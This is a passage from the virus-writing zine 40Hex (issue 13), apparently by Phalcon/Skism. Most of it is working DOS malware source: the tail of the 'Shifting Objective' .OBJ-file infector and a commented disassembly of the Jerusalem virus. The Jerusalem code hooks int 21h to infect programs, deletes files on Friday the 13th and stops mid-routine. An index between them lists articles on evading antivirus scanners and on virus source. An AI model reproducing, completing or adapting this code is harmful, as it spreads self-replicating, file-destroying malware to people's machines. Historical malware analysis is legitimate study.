        iret                    ;Iret back into the host file

fileclose:
        pushf
        push    ax bx cx dx es ds si di bp
        xor     ax,ax
        xor     ax,1220h
        call    fake2f
        push    bx
        mov     bl,byte ptr es:[di]     ;Good ol' SFT trick
        mov     ax,1216h
        call    fake2f
        or      word ptr es:[di+2],2    ;Set file Read/Write
        add     di,28               
        pop     bx
        cmp     byte ptr es:[di+2],'J'  ;Check out filename
        jne     Done_Close
        cmp     word ptr es:[di],'BO'   
        jne     Done_Close
        mov     word ptr cs:[Host_Handle],bx

        mov     ax,5700                 ;Save date/time stamp
        call    fake21
        push    cx dx
        call    Infect_Obj              ;go infect it
        pop     dx cx
        mov     ax,5701                 ;Restore date/time stamp
        call    fake21
        
   Done_Close:
        pop     bp di si ds es dx cx bx ax      ;Exit and chain into int 21h
        popf    
        jmp     GoInt21

Isanexec:
        push    dx
  GetAndSaveCurLoc:        
        mov     ax,4201         ;Save position of current module
        xor     cx,cx
        xor     dx,dx
        call    fake21
        push    dx ax
  ModExecStartingPoint:
     ReadOldStartingPoint:   
        mov     ah,3f
        mov     dx,offset startingpt    ;Read starting point
        mov     cx,3
        call    fake21
        mov     ax,word ptr [startingpt+1]
        cmp     byte ptr firstexec,0    ;Check if this is the first exec field
        jne     NotFirstExec

                                        ;If so, it should have a starting
                                        ;point of 100h for a .COM for us
                                        ;to infect it correctly

CheckifwillbeCOMfile:                   ;we're assuming that anything with
        mov     byte ptr firstexec,1    ;a starting point of cs:100h will be 
                                        ;a com. while this isn't true all 
                                        ;the time, we can cross our fingers..
        cmp     ax,100
        je      NotFirstExec            ;File is good, continue infection.

Getouttahere:        
        pop     ax ax ax                ;won't be a .com file - don't infect.
        ret

NotFirstExec:                           ;Either it isn't first exec or the
        mov     cx,end_prog-start       ;check was good.. now add virus size
        add     ax,cx                   ;to exec starting point.
        mov     word ptr [startingpt+1],ax
  GoBackToStartingPointinfo:        
        pop     dx cx
        push    cx dx
        mov     ax,4200                 ;go back to starting point field
        call    fake21
  AndWriteIt:        
        mov     ah,41
        dec     ah
        mov     cx,3
        mov     dx,offset startingpt    ;and save it
        call    fake21      
        
GoToChecksumField:        
        mov     dx,fieldsize
        sub     dx,4
        xor     cx,cx                   ;go to checksum field
        mov     ax,4201
        call    fake21
  ResetExecChecksum:
        mov     ah,3f
        mov     dx,offset Checksum      ;read checksum field
        mov     cx,1
        call    fake21
        mov     cx,-1
        mov     dx,-1                   ;go back to checksum field in file
        mov     ax,4201
        call    fake21
        mov     cx,(end_prog-start)
        sub     Checksum,ch             ;modify checksum to account for 
        sub     Checksum,cl             ;our change to starting point field.
        mov     ah,41
        mov     dx,offset Checksum      ;and write it
        mov     cx,1
        dec     ah
        call    fake21
  DoneIsExec:
        pop     dx cx
        mov     ax,4200         ;Restore original file pointer
        call    fake21
        pop     dx
        jmp     NExtfield       ;and continue with infection

startingpt db      0,0,0
firstexec   db           0

anexec:
        jmp     isanexec

Bailout:                 
        ret             

Infect_Obj:
        push    cs cs
        pop     es ds
        mov     firstexec,0             ;Init first exec field
        call    go_bof                  ;Go to beginning of file

   ModExecFields:
        call    ReadHeader      ;read the three byte header, field size in DX
                                ;Header type in AL
        
        cmp     al,8c           ;External module
        je      bailout         ;It has external calls, which we can't 
                                ;handle yet :(
        
        cmp     al,0a0          ;Executable module
        je      anexec

        cmp     al,0a2          ;Reiterated executable module
        je      anexec
        
        cmp     al,8a           ;Ending module
        je      DoneModExecs
        
   NextField:        
        mov     ax,4201         ;Go to the next field
        xor     cx,cx
        call    fake21
        jmp     ModExecFields
        
DoneModExecs:
        mov     ax,4201
        mov     cx,-1
        mov     dx,-3           ;go to start of 8A field (end module)
        call    fake21
        
        push    dx ax
        
        mov     cx,fieldsize
        add     cx,3+10         ;the +10 is just to be safe
        mov     ah,3f           ;load in last module
        mov     dx,offset buffer
        call    fake21
        mov     endfieldsize,ax ;Read in the end module 
        
        pop     dx cx
        mov     ax,4200         ;Go back to the beginning of the module
        call    fake21              ;now that we have it in memory

WriteOurHeader:      
        mov     ah,3f
        mov     cx,endheader-ourheader  ;write the header for virus module
        mov     dx,offset ourheader
        inc     ah
        call    fake21

WriteVirus:
        mov     ah,3f
        mov     cx,end_prog-start       ;write virus to file
        mov     dx,100
        inc     ah
        call    fake21

CreateChecksum:
        mov     si,100
        mov     cx,end_prog-start
        xor     ax,ax
   AddupChecksum:                       ;Create checksum for virus
        lodsb
        add     ah,al
        loop    AddupChecksum
        not     ah
        inc     ah
        mov     Checksum,ah

   WriteChecksum:
        mov     dx,offset Checksum
        mov     cx,1
        mov     ah,3f
        inc     ah
        call    fake21                      ;Then save the checksum in module

WriteEndModule:
        mov     dx,offset Buffer
        mov     cx,endfieldsize
        mov     ah,3f
        inc     ah
        call    fake21                      ;And put the ending module back into
        ret                             ;place.... we're done.


ReadHEader:
        mov     ah,3f
        mov     dx,offset fieldheader
        mov     cx,3                    ;Read module header for .obj files
        call    fake21                      ;save module type in AL and
        mov     al,fieldheader          ;module size in DX
        mov     dx,fieldsize
        ret


Go_Bof:                                 ;Go to beginning of file
        mov     al,0
        jmp     short movefp
Go_Eof:                                 ;Go to the end of the file
        mov     al,02
movefp:                                 ;Or just move the File pointer
        xor     cx,cx
        xor     dx,dx
        mov     ah,42
        call    fake21
        ret

fake21:
        pushf
                db      9a
fake21IP        dw      0
fake21CS        dw      0
        ret

fake2f:
        pushf
                db      9a
fake2fIP        dw      0
fake2fCS        dw      0
        ret

Credits: 
db      'Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism]'
db      'Kudos go to The Nightmare!'
OurHeader:
        db      0A0
        dw      (end_prog-start+4)      ;our size in an .OBJ file
        db      1
        db      0                       ;starting position (cs:100h)
        db      1
endheader:

endfieldsize    dw      0
Checksum        db      0
fieldheader     db      0
   fieldsize    dw      0
Host_Handle     dw      0
end_prog:
Buffer:
Host            db      90,90,90,90,90,90,90,90,0cdh,20
end start

40Hex Number 13 Volume 4 Issue 1                                      File 007

                The Unoffical Index to 40Hex Virus Magazine
             40Hex is written and released by the virus group
          Phalcon/SKISM, whom I did not consult when making this.
                Compiled and edited By: MegaDeth, [TiC]

   Greets to all Phalcon/SKISM members, even Timelord who got lost the
           winning raffle ticket to the 486 at HohoCon, and who later that
           day had his VMB broken into by me and his own fellow Phalcon/SKISM
           members. Watch for the 14 digit random password generator coming
           out soon!! <G>

         The index index is of all the issues of 40Hex from 1-12
                         sorted in order of number.

 |=========================================================================|
 |Title:                                               | Issue #: | File #:|
 |=========================================================================|
 |Virus Spotlight, The Tiny virus                      |    1     |  001   |
 |How to modify viruses to avoid SCAN                  |    1     |  002   |
 |Sub-Zero virus                                       |    1     |  003   |
 |Simple encryption techniques and Leprosy-B           |    1     |  004   |
 |1992 virus                                           |    1     |  005   |
 |=========================================================================|
 |How to sneak infected files into past SCAN.          |    2     |  001   |
 |The safe way to play with viruses.                   |    2     |  002   |
 |Theory Dept.  Viruses Slow vs. Fast.                 |    2     |  003   |
 |Interview of the month: Skism One.                   |    2     |  004   |
 |Artical on The Dark Avenger.                         |    2     |  005   |
 |The mother of all viruses - WHALE!                   |    2     |  006   |
 |And now a word from a real dick.                     |    2     |  007   |
 |The Ontario Virus.                                   |    2     |  008   |
 |The 1260 Virus.                                      |    2     |  009   |
 |The Skism 808 source code.                           |    2     |  010   |
 |Vienna/Violator source code                          |    2     |  011   |
 |=========================================================================|
 |A Word From Hellraiser                               |    3     |  001   |
 |The Dark Avenger Source                              |    3     |  002   |
 |Anthrax                                              |    3     |  003   |
 |The 40Hex Challenge/The Strange Case of Validate     |    3     |  004   |
 |Application for SKISM                                |    3     |  005   |
 |Virus News For October/91                            |    3     |  006   |
 |The Darth Vader Virus Strain B                       |    3     |  007   |
 |Mystery Virus                                        |    3     |  008   |
 |Tiny-F Source                                        |    3     |  009   |
 |Afterwords                                           |    3     |  010   |
 |=========================================================================|
 |USA Virus News                                       |    4     |  001   |
 |The Bob Ross virus                                   |    4     |  002   |
 |The Sunday Virus                                     |    4     |  003   |
 |The Terror Virus                                     |    4     |  004   |
 |Virus Survay Artical                                 |    4     |  005   |
 |The Typo COM virus                                   |    4     |  006   |
 |From Johns BBS                                       |    4     |  007   |
 |The Marauder Virus                                   |    4     |  008   |
 |Pklite Scan Strings                                  |    4     |  009   |
 |Encryption Defeating                                 |    4     |  010   |
 |The Ultimate Toolkit                                 |    4     |  011   |
 |Tequilla Virus Source                                |    4     |  012   |
 |.....................................................|    4     |  013   |
 |Is This The End?                                     |    4     |  014   |
 |=========================================================================|
 |BUSTED! Instigator's Story                           |    5     |  001   |
 |Virus Spotlight: Ambulance Car                       |    5     |  002   |
 |The 1963 Virus                                       |    5     |  003   |
 |Alliance w/McAfee and Dvorak                         |    5     |  004   |
 |Virus Author's Constitution                          |    5     |  005   |
 |SKISM Vengeance Virus Hex                            |    5     |  006   |
 |Finding Scan Strings II                              |    5     |  007   |
 |=========================================================================|
 |Finding anti-viral programs in memory                |    6     |  001   |
 |Code Concealing: Part I                              |    6     |  002   |
 |More Busts and Updates                               |    6     |  003   |
 |The NoLite Utility                                   |    6     |  004   |
 |PHALCON/SKISM Update                                 |    6     |  005   |
 |Some Dick who wants to bust virus authors            |    6     |  006   |
 |The Kennedy Virus                                    |    6     |  007   |
 |Cornell students nailed for viruses                  |    6     |  008   |
 |The Truth Behind Virus Scanners                      |    6     |  009   |
 |Virus Spotlite-Dir2 Full commented source            |    6     |  00A   |
 |Scan strings, and how to avoid them                  |    6     |  00B   |
 |!Virus Contest!                                      |    6     |  00C   |
 |=========================================================================|
 |Virii in the News Part I                             |    7     |  001   |
 |Code Concealment [2]                                 |    7     |  002   |
 |An Introduction to Non-overwriting Virii             |    7     |  003   |
 |Enough Tinys to Sink a Ship                          |    7     |  004   |
 |MtE News Stories                                     |    7     |  005   |
 |Virus Spotlite:Dissassembly of Leap Frog             |    7     |  006   |
 |Spammies Reminder                                    |    7     |  007   |
 |Virii in the News Part II                            |    7     |  008   |
 |Debug Script for Pogue Mahone                        |    7     |  009   |
 |=========================================================================|
 |PS-MPC (MassProducedCode)                            |    8     |  001   |
 |Putav, an expose!                                    |    8     |  002   |
 |Findav -P/S- Style                                   |    8     |  003   |
 |Checkav -P/S- Original                               |    8     |  004   |
 |StarShip Virus Info                                  |    8     |  005   |
 |Virus Spotlite: Michelangelo                         |    8     |  006   |
 |EXE Infectors and you                                |    8     |  007   |
 |Disassembly of ASHAR                                 |    8     |  008   |
 |Ear-6 source en Espa?ol                              |    8     |  009   |
 |Letter to the Editor                                 |    8     |  010   |
 |=========================================================================|
 |40Hex Editorial                                      |    9     |  001   |
 |SYS Virii                                            |    9     |  002   |
 |Phoenix 2000 Debug Dump                              |    9     |  003   |
 |More antidebugger techniques                         |    9     |  004   |
 |Virus Spotlite: 4096                                 |    9     |  005   |
 |Nina disassembly                                     |    9     |  006   |
 |A New Virus Naming Convention                        |    9     |  007   |
 |Code Optimization                                    |    9     |  008   |
 |FirstStrike's Catfish virus                          |    9     |  009   |
 |=========================================================================|
 |Virus creation aids                                  |    10    |  001   |
 |Phalcon/Skism Shiny Happy virus                      |    10    |  002   |
 |RNA virus source code                                |    10    |  003   |
 |ARCV Busted                                          |    10    |  004   |
 |Green Caterpillar Debug Script                       |    10    |  005   |
 |Virus Spotlite: Bad Boy 2                            |    10    |  006   |
 |A Case Against Encryption                            |    10    |  007   |
 |Ontario 3 source code                                |    10    |  008   |
 |40Hex Survey                                         |    10    |  009   |
 |=========================================================================|
 |Today's Phalcon/Skism Gripe                          |    11    |  001   |
 |Advanced Polymorphism Primer, Part 1                 |    11    |  002   |
 |Phalcon/Skism Trigger Virus & DAME Source Code       |    11    |  003   |
 |Virus Censorship (Gripe Part II)                     |    11    |  004   |
 |Virus Spotlite: Leech                                |    11    |  005   |
 |Fun with System File Tables                          |    11    |  006   |
 |SVC 5.0 disassembly                                  |    11    |  007   |
 |Predator Source Code                                 |    11    |  008   |
 |=========================================================================|
 |DAME Source 'Updated'                                |    12    |  001   |
 |40Hex Hardcopy Rumors Confirmed                      |    12    |  002   |
 |A Self Dis-Infecting .COM File                       |    12    |  003   |
 |AIS BBS Commentary                                   |    12    |  003   |
 |Natas Virus By Priest                                |    12    |  005   |
 |A Commentary by Sara Gordon                          |    12    |  006   |
 |Nympho Mitosis 2.0 Debug Script                      |    12    |  007   |
 |Viruses In The News                                  |    12    |  008   |
 |OS/2 Virus Source                                    |    12    |  009   |
 |=========================================================================|


        This section sorted by article title.

 |=========================================================================|
 |Title:                                               | Issue #  | File # |
 |=========================================================================|
 |!Virus Contest!                                      |    6     |  00C   |
 |.....................................................|    4     |  013   |
 |1992 virus                                           |    1     |  005   |
 |40Hex Editorial                                      |    9     |  001   |
 |40Hex Hardcopy Rumors Confirmed                      |    12    |  002   |
 |40Hex Survey                                         |    10    |  009   |
 |A Case Against Encryption                            |    10    |  007   |
 |A Commentary by Sara Gordon                          |    12    |  006   |
 |A New Virus Naming Convention                        |    9     |  007   |
 |A Self Dis-Infecting .COM File                       |    12    |  003   |
 |A Word From Hellraiser                               |    3     |  001   |
 |Advanced Polymorphism Primer, Part 1                 |    11    |  002   |
 |Afterwords                                           |    3     |  010   |
 |AIS BBS Commentary                                   |    12    |  003   |
 |Alliance w/McAfee and Dvorak                         |    5     |  004   |
 |An Introduction to Non-overwriting Virii             |    7     |  003   |
 |And now a word from a real dick.                     |    2     |  007   |
 |Anthrax                                              |    3     |  003   |
 |Application for SKISM                                |    3     |  005   |
 |ARCV Busted                                          |    10    |  004   |
 |Artical on The Dark Avenger.                         |    2     |  005   |
 |BUSTED! Instigator's Story                           |    5     |  001   |
 |Checkav -P/S- Original                               |    8     |  004   |
 |Code Concealing: Part I                              |    6     |  002   |
 |Code Concealment [2]                                 |    7     |  002   |
 |Code Optimization                                    |    9     |  008   |
 |Cornell students nailed for viruses                  |    6     |  008   |
 |DAME Source 'Updated'                                |    12    |  001   |
 |Debug Script for Pogue Mahone                        |    7     |  009   |
 |Disassembly of ASHAR                                 |    8     |  008   |
 |Ear-6 source en Espa?ol                              |    8     |  009   |
 |Encryption Defeating                                 |    4     |  010   |
 |Enough Tinys to Sink a Ship                          |    7     |  004   |
 |EXE Infectors and you                                |    8     |  007   |
 |Findav -P/S- Style                                   |    8     |  003   |
 |Finding anti-viral programs in memory                |    6     |  001   |
 |Finding Scan Strings II                              |    5     |  007   |
 |FirstStrike's Catfish virus                          |    9     |  009   |
 |From Johns BBS                                       |    4     |  007   |
 |Fun with System File Tables                          |    11    |  006   |
 |Green Caterpillar Debug Script                       |    10    |  005   |
 |How to modify viruses to avoid SCAN                  |    1     |  002   |
 |How to sneak infected files into past SCAN.          |    2     |  001   |
 |Interview of the month: Skism One.                   |    2     |  004   |
 |Is This The End?                                     |    4     |  014   |
 |Letter to the Editor                                 |    8     |  010   |
 |More antidebugger techniques                         |    9     |  004   |
 |More Busts and Updates                               |    6     |  003   |
 |MtE News Stories                                     |    7     |  005   |
 |Mystery Virus                                        |    3     |  008   |
 |Natas Virus By Priest                                |    12    |  005   |
 |Nina disassembly                                     |    9     |  006   |
 |Nympho Mitosis 2.0 Debug Script                      |    12    |  007   |
 |Ontario 3 source code                                |    10    |  008   |
 |OS/2 Virus Source                                    |    12    |  009   |
 |Phalcon/Skism Shiny Happy virus                      |    10    |  002   |
 |Phalcon/Skism Trigger Virus & DAME Source Code       |    11    |  003   |
 |PHALCON/SKISM Update                                 |    6     |  005   |
 |Phoenix 2000 Debug Dump                              |    9     |  003   |
 |Pklite Scan Strings                                  |    4     |  009   |
 |Predator Source Code                                 |    11    |  008   |
 |PS-MPC (MassProducedCode)                            |    8     |  001   |
 |Putav, an expose!                                    |    8     |  002   |
 |RNA virus source code                                |    10    |  003   |
 |Scan strings, and how to avoid them                  |    6     |  00B   |
 |Simple encryption techniques and Leprosy-B           |    1     |  004   |
 |SKISM Vengeance Virus Hex                            |    5     |  006   |
 |Some Dick who wants to bust virus authors            |    6     |  006   |
 |Spammies Reminder                                    |    7     |  007   |
 |StarShip Virus Info                                  |    8     |  005   |
 |Sub-Zero virus                                       |    1     |  003   |
 |SVC 5.0 disassembly                                  |    11    |  007   |
 |SYS Virii                                            |    9     |  002   |
 |Tequilla Virus Source                                |    4     |  012   |
 |The 1260 Virus.                                      |    2     |  009   |
 |The 1963 Virus                                       |    5     |  003   |
 |The 40Hex Challenge/The Strange Case of Validate     |    3     |  004   |
 |The Bob Ross virus                                   |    4     |  002   |
 |The Dark Avenger Source                              |    3     |  002   |
 |The Darth Vader Virus Strain B                       |    3     |  007   |
 |The Kennedy Virus                                    |    6     |  007   |
 |The Marauder Virus                                   |    4     |  008   |
 |The mother of all viruses - WHALE!                   |    2     |  006   |
 |The NoLite Utility                                   |    6     |  004   |
 |The Ontario Virus.                                   |    2     |  008   |
 |The safe way to play with viruses.                   |    2     |  002   |
 |The Skism 808 source code.                           |    2     |  010   |
 |The Sunday Virus                                     |    4     |  003   |
 |The Terror Virus                                     |    4     |  004   |
 |The Truth Behind Virus Scanners                      |    6     |  009   |
 |The Typo COM virus                                   |    4     |  006   |
 |The Ultimate Toolkit                                 |    4     |  011   |
 |Theory Dept.  Viruses Slow vs. Fast.                 |    2     |  003   |
 |Tiny-F Source                                        |    3     |  009   |
 |Today's Phalcon/Skism Gripe                          |    11    |  001   |
 |USA Virus News                                       |    4     |  001   |
 |Vienna/Violator source code                          |    2     |  011   |
 |Virii in the News Part I                             |    7     |  001   |
 |Virii in the News Part II                            |    7     |  008   |
 |Virus Author's Constitution                          |    5     |  005   |
 |Virus Censorship (Gripe Part II)                     |    11    |  004   |
 |Virus creation aids                                  |    10    |  001   |
 |Virus News For October/91                            |    3     |  006   |
 |Virus Spotlight, The Tiny virus                      |    1     |  001   |
 |Virus Spotlight: Ambulance Car                       |    5     |  002   |
 |Virus Spotlite-Dir2 Full commented source            |    6     |  00A   |
 |Virus Spotlite: 4096                                 |    9     |  005   |
 |Virus Spotlite: Bad Boy 2                            |    10    |  006   |
 |Virus Spotlite: Leech                                |    11    |  005   |
 |Virus Spotlite: Michelangelo                         |    8     |  006   |
 |Virus Spotlite:Dissassembly of Leap Frog             |    7     |  006   |
 |Virus Survay Artical                                 |    4     |  005   |
 |Viruses In The News                                  |    12    |  008   |
 |=========================================================================|
40Hex Number 13 Volume 4 Issue 1                                      File 008

                .model  tiny
                .code
                org     0
; Jerusalem (Standard)
; Disassembly by Dark Angel of Phalcon/Skism
viruslength     =       (endjerusalem - jerusalem)
jerusalem:
                jmp     enter_jerusalem
                db      'sU'
marker          db      'MsDos'
COMdest         dw      0, 0
activate_flag   db      0
zero            dw      0
filesize        dw      3
oldint8         dw      0, 0
oldint21        dw      0, 0
oldint24        dw      0, 0
int8counter     dw      0
tempheader      dw      0
EXEdest         dw      0,0
_initialSP      dw      0
_initialSS      dw      0
_headersize     dw      0
_filelengthlo   dw      0
_filelengthhi   dw      0
savePSP1        dw      0
respara         dw      80h

parmblock:
                dw      0 ; use current environment
                dw      80h
savePSP2        dw      0 ; pointer to command line
                dw      5Ch
savePSP3        dw      0 ; pointer to 1st FCB
                dw      6Ch
savePSP4        dw      0 ; pointer to 2nd FCB
saveSP          dw      0
saveSS          dw      0
initialCSIP     dw      0, 0

oldintFF        dw      0
                db      0
COM_EXE_flag    db      0
header          dw      0Eh dup (0)
readbuffer      db      5 dup (0)
filehandle      dw      0
fileattr        dw      0
filedate        dw      0
filetime        dw      0
pagesize        dw      200h
parasize        dw      10h                     ; paragraph->byte conversion
filelength      dw      0, 0
filenameptr     dw      0, 0
command_com     db      'COMMAND.COM'
alloc_flag      dw      0
                db      0, 0, 0, 0

enter_jerusalem:
                cld
                mov     ah,0E0h                 ; installation check
                int     21h
                cmp     ah,0E0h
                jae     not_resident
                cmp     ah,3
                jb      not_resident

                mov     ah,0DDh                 ; restore EXE file
                mov     di,100h
                mov     si,offset endjerusalem
                add     si,di
                mov     cx,cs:[di+filesize]
                int     21h
not_resident:
                mov     ax,cs
                add     ax,10h
                mov     ss,ax
                mov     sp,700h
                push    ax
                mov     ax,offset relocate_entry
                push    ax
                retf
relocate_entry:
                cld
                push    es
                mov     cs:savePSP1,es
                mov     cs:savePSP2,es
                mov     cs:savePSP3,es
                mov     cs:savePSP4,es
                mov     ax,es
                add     ax,10h
                add     cs:initialCSIP+2,ax
                add     cs:saveSS,ax
                mov     ah,0E0h                 ; installation check
                int     21h
                cmp     ah,0E0h
                jae     install_virus
                cmp     ah,3
                pop     es
                mov     ss,cs:saveSS
                mov     sp,cs:saveSP
                jmp     dword ptr cs:initialCSIP
install_virus:
                xor     ax,ax
                mov     es,ax
                mov     ax,es:0FFh*4
                mov     cs:oldintFF,ax
                mov     al,es:0FFh*4+2
                mov     byte ptr cs:oldintFF+2,al
                mov     word ptr es:0FFh*4,0A5F3h ; encode rep movsw
                mov     byte ptr es:0FFh*4+2,0CBh ; encode retf
                pop     ax
                add     ax,10h
                mov     es,ax
                push    cs
                pop     ds
                mov     cx,viruslength
                shr     cx,1
                xor     si,si
                mov     di,si
                push    es
                mov     ax,offset return_here
                push    ax
                db      0EAh                    ; jmp far ptr
                dw      03FCh, 0
return_here:
                mov     ax,cs
                mov     ss,ax
                mov     sp,700h
                xor     ax,ax
                mov     ds,ax
                mov     ax,cs:oldintFF
                mov     ds:0FFh*4,ax
                mov     al,byte ptr cs:oldintFF+2
                mov     ds:0FFh*4+2,al
                mov     bx,sp
                mov     cl,4
                shr     bx,cl
                add     bx,10h
                mov     cs:respara,bx           ; allocate enough memory
                mov     ah,4Ah                  ; for the virus
                mov     es,cs:savePSP1
                int     21h

                mov     ax,3521h                ; get int 21 vector
                int     21h
                mov     cs:oldint21,bx          ; save it
                mov     word ptr cs:oldint21+2,es

                push    cs                      ; set new int 21 handler
                pop     ds
                mov     dx,offset int21
                mov     ax,2521h
                int     21h

                mov     es,savePSP1             ; get PSP
                mov     es,es:2Ch               ; get environment segment
                xor     di,di
                mov     cx,7FFFh
                xor     al,al
scan_environment:
                repne   scasb
                cmp     es:[di],al
                loopnz  scan_environment

                mov     dx,di
                add     dx,3
                mov     ax,4B00h                ; execute original program
                push    es
                pop     ds
                push    cs
                pop     es
                mov     bx,offset parmblock
                push    ds
                push    es
                push    ax
                push    bx
                push    cx
                push    dx
                mov     ah,2Ah                  ; get date
                int     21h

                mov     cs:activate_flag,0      ; default to no activate
                cmp     cx,1987d                ; don't activate in 1987
                je      no_activate
                cmp     al,5                    ; friday?
                jne     set_int8
                cmp     dl,13d                  ; the thirteenth?
                jne     set_int8
                inc     cs:activate_flag        ; mark activate
                jmp     short no_activate
                db      90h
set_int8:                                       ; do annoying box effect
                mov     ax,3508h                ; get old int 8 handler
                int     21h
                mov     cs:oldint8,bx
                mov     word ptr cs:oldint8+2,es

                push    cs
                pop     ds
                mov     int8counter,60*30*18    ; wait 30 minutes
                mov     ax,2508h                ; set new int 8 handler
                mov     dx,offset int8
                int     21h
no_activate:
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                pop     es
                pop     ds
                pushf
                call    dword ptr cs:oldint21   ; execute program
                push    ds
                pop     es
                mov     ah,49h                  ; release memory block
                int     21h

                mov     ah,4Dh                  ; get errorlevel to ax
                int     21h

                mov     ah,31h                  ; go TSR
                mov     dx,600h
                mov     cl,4
                shr     dx,cl
                add     dx,10h
                int     21h

int24:
                xor     al,al
                iret

int8:
                cmp     cs:int8counter,2
                jne     no_box
                push    ax
                push    bx
                push    cx
                push    dx
                push    bp
                mov     ax,602h                 ; scroll up 2 lines
                mov     bh,87h                  ; (5,5) - (10,10)
                mov     cx,505h
                mov     dx,1010h
                int     10h

                pop     bp
                pop     dx
                pop     cx
                pop     bx
                pop     ax
no_box:
                dec     cs:int8counter
                jnz     exitint8
                mov     cs:int8counter,1
                push    ax
                push    cx
                push    si
                mov     cx,4001h                ; delay loop
                rep     lodsb
                pop     si
                pop     cx
                pop     ax
exitint8:
                jmp     dword ptr cs:oldint8    ; call original handler

int21:
                pushf
                cmp     ah,0E0h                 ; installation check?
                jne     not_install
                mov     ax,300h                 ; return installation marker
                popf
                iret
not_install:
                cmp     ah,0DDh
                je      restore_COM
                cmp     ah,0DEh
                je      restore_EXE
                cmp     ax,4B00h                ; execute?
                jne     exitint21
                jmp     execute
exitint21:
                popf
                jmp     dword ptr cs:oldint21
restore_COM:
                pop     ax
                pop     ax
                mov     ax,100h
                mov     cs:COMdest,ax
                pop     ax                      ; get program CS
                mov     word ptr cs:COMdest+2,ax
                rep     movsb                   ; restore bytes
                popf
                mov     ax,cs:zero              ; clear AX
                jmp     dword ptr cs:COMdest    ; return to original COM file

restore_EXE:
                add     sp,6
                popf
                mov     ax,cs
                mov     ss,ax
                mov     sp,offset endjerusalem
                push    es
                push    es
                xor     di,di
                push    cs
                pop     es
                mov     cx,10h
                mov     si,bx
                mov     di,offset tempheader
                rep     movsb
                mov     ax,ds
                mov     es,ax
                mul     cs:parasize             ; convert to bytes
                add     ax,cs:_headersize
                adc     dx,0
                div     cs:parasize             ; convert to paragraphs
                mov     ds,ax
                mov     si,dx
                mov     di,dx
                mov     bp,es
                mov     bx,cs:_filelengthhi
                or      bx,bx
                jz      no_move_code
move_code:
                mov     cx,8000h
                rep     movsw
                add     ax,1000h
                add     bp,1000h
                mov     ds,ax
                mov     es,bp
                dec     bx
                jnz     move_code
no_move_code:
                mov     cx,cs:_filelengthlo
                rep     movsb
                pop     ax
                push    ax
                add     ax,10h
                add     cs:_initialSS,ax
                add     word ptr cs:EXEdest+2,ax
                mov     ax,cs:tempheader
                pop     ds
                pop     es
                mov     ss,cs:_initialSS
                mov     sp,cs:_initialSP
                jmp     dword ptr cs:EXEdest
delete_file:
                xor     cx,cx                   ; clear file attributes
                mov     ax,4301h
                int     21h

                mov     ah,41h                  ; delete file
                int     21h

                mov     ax,4B00h                ; execute it
                popf
                jmp     dword ptr cs:oldint21

execute:
                cmp     cs:activate_flag,1
                je      delete_file
                mov     cs:filehandle,0FFFFh
                mov     cs:alloc_flag,0
                mov     cs:filenameptr,dx
                mov     word ptr cs:filenameptr+2,ds
                push    ax
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                push    ds
                push    es
                cld
                mov     di,dx
                xor     dl,dl
                cmp     byte ptr [di+1],':'     ; drive specified?
                jne     execute_nodrive
                mov     dl,[di]                 ; get drive
                and     dl,1Fh                  ; convert to number
execute_nodrive:
                mov     ah,36h                  ; get drive info`s
                int     21h
                cmp     ax,0FFFFh               ; drive exist?
                jne     check_drivespace
go_exit_execute:
                jmp     exit_execute
check_drivespace:
                mul     bx                      ; ax = clus/sec, bx=free clus
                mul     cx                      ; cx = bytes/sector
                or      dx,dx                   ; check if enough free space
                jnz     enough_space
                cmp     ax,viruslength
                jb      go_exit_execute
enough_space:
                mov     dx,cs:filenameptr
                push    ds
                pop     es
                xor     al,al
                mov     cx,41h
                repne   scasb
                mov     si,cs:filenameptr
uppercase_loop:
                mov     al,[si]
                or      al,al
                jz      uppercase_loop_done
                cmp     al,'a'
                jb      not_lower
                cmp     al,'z'
                ja      not_lower
                sub     byte ptr [si],' '       ; convert to uppercase
not_lower:
                inc     si
                jmp     short uppercase_loop
uppercase_loop_done:
                mov     cx,0Bh                  ; check if command.com
                sub     si,cx
                mov     di,offset command_com
                push    cs
                pop     es
                mov     cx,0Bh
                repe    cmpsb
                jnz     not_command_com
                jmp     exit_execute
not_command_com:
                mov     ax,4300h                ; get file attributes
                int     21h
                jc      error1
                mov     cs:fileattr,cx
error1:
                jc      error2
                xor     al,al
                mov     cs:COM_EXE_flag,al      ; ASSume COM file
                push    ds
                pop     es
                mov     di,dx
                mov     cx,41h
                repne   scasb
                cmp     byte ptr [di-2],'M'
                je      EXEidentified
                cmp     byte ptr [di-2],'m'
                je      EXEidentified
                inc     cs:COM_EXE_flag
EXEidentified:
                mov     ax,3D00h                ; open file r/o
                int     21h
error2:
                jc      error3
                mov     cs:filehandle,ax
                mov     bx,ax
                mov     ax,4202h                ; go to end of file - 5 bytes
                mov     cx,0FFFFh
                mov     dx,0FFFBh
                int     21h
                jc      error2

                add     ax,5                    ; get file size
                mov     cs:filesize,ax
                mov     cx,5                    ; read last 5 bytes
                mov     dx,offset readbuffer
                mov     ax,cs
                mov     ds,ax
                mov     es,ax
                mov     ah,3Fh
                int     21h

                mov     di,dx
                mov     si,offset marker
                repe    cmpsb
                jnz     not_infected
                mov     ah,3Eh                  ; close file
                int     21h

                jmp     exit_execute
not_infected:
                mov     ax,3524h                ; get old int 24 handler
                int     21h
                mov     oldint24,bx             ; and save it
                mov     word ptr oldint24+2,es

                mov     dx,offset int24         ; set ours as new one
                mov     ax,2524h
                int     21h

                lds     dx,dword ptr filenameptr; load file name
                xor     cx,cx                   ; clear file attributes
                mov     ax,4301h
                int     21h
error3:
                jc      error4
                mov     bx,cs:filehandle
                mov     ah,3Eh                  ; close file
                int     21h

                mov     cs:filehandle,0FFFFh
                mov     ax,3D02h                ; open file read/write
                int     21h
                jc      error4

                mov     cs:filehandle,ax        ; save handle
                mov     ax,cs
                mov     ds,ax
                mov     es,ax
                mov     bx,filehandle
                mov     ax,5700h                ; get file time/date
                int     21h
                mov     filedate,dx             ; save them
                mov     filetime,cx

                mov     ax,4200h                ; go to start of file
                xor     cx,cx
                mov     dx,cx
                int     21h
error4:
                jc      error5
                cmp     COM_EXE_flag,0
                je      infect_com
                jmp     short infect_exe
                db      90h
infect_com:
                mov     bx,1000h                ; allocate one segment
                mov     ah,48h
                int     21h
                jnc     allocation_fine

                mov     ah,3Eh                  ; close file
                mov     bx,filehandle
                int     21h

                jmp     exit_execute
allocation_fine:
                inc     alloc_flag
                mov     es,ax                   ; copy virus to new buffer
                xor     si,si
